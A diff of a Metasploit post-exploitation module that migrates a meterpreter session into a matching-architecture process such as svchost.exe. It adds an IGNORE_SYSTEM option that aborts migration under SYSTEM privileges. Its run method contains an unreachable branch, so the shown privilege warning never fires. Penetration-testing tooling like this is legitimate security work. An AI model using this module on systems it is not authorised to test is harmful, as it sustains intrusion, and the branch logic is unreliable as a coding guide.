@@ -2,6 +2,7 @@ class MetasploitModule < Msf::Post
2
2
include Msf ::Post ::Windows ::Registry
3
3
include Msf ::Post ::File
4
4
include Msf ::Post ::Common
5
+ include Msf ::Post ::Windows ::Priv
5
6
6
7
def initialize ( info = { } )
7
8
super ( update_info (
@@ -21,7 +22,8 @@ def initialize(info = {})
21
22
register_options (
22
23
[
23
24
OptString . new ( 'EXE' , [ true , 'The executable to start and migrate into' , 'C:\windows\sysnative\svchost.exe' ] ) ,
24
- OptBool . new ( 'FALLBACK' , [ true , 'If the selected migration executable does not exist fallback to a sysnative file' , true ] )
25
+ OptBool . new ( 'FALLBACK' , [ true , 'If the selected migration executable does not exist fallback to a sysnative file' , true ] ) ,
26
+ OptBool . new ( 'IGNORE_SYSTEM' , [ true , 'Migrate even if you have SYSTEM privileges' , false ] )
25
27
] ,
26
28
self . class
27
29
)
@@ -48,7 +50,7 @@ def get_windows_loc
48
50
return windir
49
51
end
50
52
51
- def run
53
+ def do_migrate
52
54
if check_32_on_64
53
55
print_status ( 'The meterpreter is not the same architecture as the OS! Upgrading!' )
54
56
newproc = datastore [ 'EXE' ]
@@ -86,4 +88,18 @@ def run
86
88
print_good ( 'The meterpreter is the same architecture as the OS!' )
87
89
end
88
90
end
91
+
92
+ def run
93
+ if datastore [ 'IGNORE_SYSTEM' ]
94
+ do_migrate
95
+ elsif !datastore [ 'IGNORE_SYSTEM' ] && is_system?
96
+ print_error ( 'You are running as SYSTEM! Aborting migration.' )
97
+ elsif datastore [ 'IGNORE_SYSTEM' ] && is_system?
98
+ print_error ( 'You are running as SYSTEM! You will lose your privileges!' )
99
+ do_migrate
100
+ elsif !datastore [ 'IGNORE_SYSTEM' ] && !is_system?
101
+ print_status ( 'You\'re not running as SYSTEM. Moving on...' )
102
+ do_migrate
103
+ end
104
+ end
89
105
end
0 commit comments